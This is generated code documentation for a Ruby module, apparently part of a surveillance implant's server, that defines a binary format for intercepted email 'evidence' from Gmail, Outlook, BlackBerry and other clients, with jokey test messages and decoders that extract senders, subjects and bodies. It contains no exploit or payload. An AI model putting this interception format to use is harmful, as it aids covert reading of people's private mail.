Module: RCS::MailEvidence

Defined in:
lib/rcs-common/evidence/mail.rb

Constant Summary collapse

MAIL_VERSION =
2009070301
MAIL_VERSION2 =
2012030601
MAIL_INCOMING =
0x00000010
MAIL_DRAFT =
0x00000100
PROGRAM_GMAIL =
0x00000000
PROGRAM_BB =
0x00000001
PROGRAM_ANDROID =
0x00000002
PROGRAM_THUNDERBIRD =
0x00000003
PROGRAM_OUTLOOK =
0x00000004
PROGRAM_MAIL =
0x00000005
PROGRAM_YAHOO =
0x00000006
ADDRESSES =
['[email protected]', '[email protected]', '[email protected]', '[email protected]']
SUBJECTS =
['drugs', 'bust me!', 'police here']
BODIES =
["You're busted, dude.", "I'm a drug trafficker, send me to hang!", "I'll sell meth to kids. Stop me."]
ARABIC =
<<-EOF

MIME-Version: 1.0
Received: by 10.64.33.143 with HTTP; Mon, 1 Jul 2013 03:11:15 -0700 (PDT)
Date: Mon, 1 Jul 2013 12:11:15 +0200
Delivered-To: [email protected]
Message-ID: <CALdP1Uy44nQ-1Pfj1Po+uoUKbe5JMGDr-ZhpoHRVVkNQdOOV5w@mail.gmail.com>
Subject: Test
From: Jimmy Page <[email protected]>
To: Jimmy Page <[email protected]>
Content-Type: multipart/alternative; boundary=14dae947395bec30d304e0707250

--14dae947395bec30d304e0707250
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: base64

2KrYtNi02LPZitiq2YXZhiDYqtmG2LTYp9iz2YbZiiDZh9i52LTYutiz2Yog2KfYqti02LPZitin
INmG2KrYtNiz2KfZitivDQrYtNiz2YXYqtmK2YYg2LTYs9mK2KrZhiDYtNmH2KTYudiz2YrZhNix
2YbYqg0K2LHYs9ix2LPZitix2YrYsw0K
--14dae947395bec30d304e0707250
Content-Type: text/html; charset=UTF-8
Content-Transfer-Encoding: base64

PGRpdiBkaXI9Imx0ciI+PGRpdiBkaXI9InJ0bCI+2KrYtNi02LPZitiq2YXZhiDYqtmG2LTYp9iz
2YbZiiDZh9i52LTYutiz2Yog2KfYqti02LPZitinINmG2KrYtNiz2KfZitivPGJyPjwvZGl2Pjxk
aXYgZGlyPSJydGwiPti02LPZhdiq2YrZhiDYtNiz2YrYqtmGINi02YfYpNi52LPZitmE2LHZhtiq
IDxicj7Ysdiz2LHYs9mK2LHZitizPGJyPjwvZGl2PjwvZGl2Pg0K
--14dae947395bec30d304e0707250--
EOF

Instance Method Summary collapse

Instance Method Details

#additional_headerObject



67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
# File 'lib/rcs-common/evidence/mail.rb', line 67

def additional_header
  binary = StringIO.new

  @email = Mail.new do
    from    ADDRESSES.sample
    to      ADDRESSES.sample
    subject SUBJECTS.sample
    body    BODIES.sample
  end

  #@email = ARABIC

  ft_high, ft_low = Time.now.to_filetime
  body = @email.to_s
  add_header = [MAIL_VERSION2, 1 | MAIL_INCOMING, body.bytesize, ft_high, ft_low].pack("I*")
  binary.write(add_header)
  binary.write [[0,1,2].sample].pack('L')

  binary.string
end

#contentObject



59
60
61
# File 'lib/rcs-common/evidence/mail.rb', line 59

def content
  @email.to_s
end

#decode_additional_header(data) ⇒ Object



88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
# File 'lib/rcs-common/evidence/mail.rb', line 88

def decode_additional_header(data)
  raise EvidenceDeserializeError.new("incomplete MAIL") if data.nil? or data.bytesize == 0

  ret = Hash.new
  ret[:data] = Hash.new

  binary = StringIO.new data

  # flags indica se abbiamo tutto il body o solo header
  version, flags, size, ft_low, ft_high = binary.read(20).unpack('L*')

  case version
    when MAIL_VERSION
      ret[:data][:program] = 'outlook'
    when MAIL_VERSION2
      program = binary.read(4).unpack('L').first

      case program
        when PROGRAM_GMAIL
          ret[:data][:program] = 'gmail'
        when PROGRAM_BB
          ret[:data][:program] = 'blackberry'
        when PROGRAM_ANDROID
          ret[:data][:program] = 'android'
        when PROGRAM_THUNDERBIRD
          ret[:data][:program] = 'thunderbird'
        when PROGRAM_OUTLOOK
          ret[:data][:program] = 'outlook'
        when PROGRAM_MAIL
          ret[:data][:program] = 'mail'
        when PROGRAM_YAHOO
          ret[:data][:program] = 'yahoo'
        else
          ret[:data][:program] = 'unknown'
      end
      # direction of the mail
      ret[:data][:incoming] = (flags & MAIL_INCOMING != 0) ? 1 : 0
      ret[:data][:draft] = true if (flags & MAIL_DRAFT != 0)
    else
      raise EvidenceDeserializeError.new("invalid log version for MAIL")
  end

  #trace :debug, ret[:data].inspect

  ret[:data][:size] = size
  return ret
end

#decode_content(common_info, chunks) {|info| ... } ⇒ Object

Yields:

  • (info)


136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
# File 'lib/rcs-common/evidence/mail.rb', line 136

def decode_content(common_info, chunks)
  info = Hash[common_info]
  info[:data] ||= Hash.new
  info[:data][:type] = :mail

  # this is the raw content of the mail
  # save it as is in the grid
  eml = chunks.join

  # special case for outlook (live) mail that are html encoded
  eml = CGI.unescapeHTML(eml) if info[:data][:program].eql? 'outlook'

  info[:grid_content] = eml

  # parse the mail to extract information
  m = Mail.read_from_string eml

  #trace :debug, "MAIL: EML size: #{eml.size}"
  #trace :debug, "MAIL: EML: #{eml}"
  #trace :debug, "MAIL: From: #{m.from.inspect}"
  #trace :debug, "MAIL: Rcpt: #{m.to.inspect}"
  #trace :debug, "MAIL: CC: #{m.cc.inspect}"
  #trace :debug, "MAIL: Subject: #{m.subject.inspect}"

  info[:data][:from] = parse_address(m.from)
  info[:data][:rcpt] = parse_address(m.to)
  info[:data][:cc] = parse_address(m.cc)

  if m.subject
    info[:data][:subject] = m.subject.dup
    info[:data][:subject].safe_utf8_encode_invalid
  end

  #trace :debug, "MAIL: multipart #{m.multipart?} parts size: #{m.parts.size}"
  #trace :debug, "MAIL: parts #{m.parts.inspect}"
  #trace :debug, "MAIL: body: #{m.body}"

  # extract body from multipart mail
  body = parse_multipart(m.parts) if m.multipart?

  # if not multipart, take body
  body ||= {}
  body['text/plain'] ||= m.body.decoded.safe_utf8_encode unless m.body.nil?

  #trace :debug, "MAIL: text/plain #{body['text/plain']}"
  #trace :debug, "MAIL: text/html #{body['text/html']}"

  if body.has_key? 'text/html'
    info[:data][:body] = body['text/html']
  else
    info[:data][:body] = body['text/plain']
    info[:data][:body] ||= 'Content of this mail cannot be decoded.'
  end

  #trace :debug, "MAIL: body: #{info[:data][:body]}"

  info[:data][:attach] = m.attachments.length if m.attachments.length > 0

  date = m.date.to_time unless m.date.nil?
  date ||= Time.now
  info[:data][:date] = date.getutc
  info[:da] = date.getutc

  info[:data][:date] = info[:data][:date].to_time if info[:data][:date].is_a? DateTime
  info[:da] = info[:da].to_time if info[:da].is_a? DateTime

  yield info if block_given?
  :delete_raw
end

#generate_contentObject



63
64
65
# File 'lib/rcs-common/evidence/mail.rb', line 63

def generate_content
  [ content ]
end

#parse_address(addresses) ⇒ Object



219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
# File 'lib/rcs-common/evidence/mail.rb', line 219

def parse_address(addresses)
  return "" if addresses.nil?

  address = ''

  # it's already a string
  address = addresses if addresses.is_a? String

  # join the array of multiple addresses
  if addresses.is_a? Array
    address = addresses.join(", ")
  end

  address.safe_utf8_encode
end

#parse_multipart(parts) ⇒ Object



206
207
208
209
210
211
212
213
214
215
216
217
# File 'lib/rcs-common/evidence/mail.rb', line 206

def parse_multipart(parts)
  content_types = parts.map { |p| p.content_type.split(';')[0] }
  body = {}
  content_types.each_with_index do |ct, i|
    if parts[i].multipart?
      body = parse_multipart(parts[i].parts)
    else
      body[ct] = parts[i].body.decoded.safe_utf8_encode
    end
  end
  body
end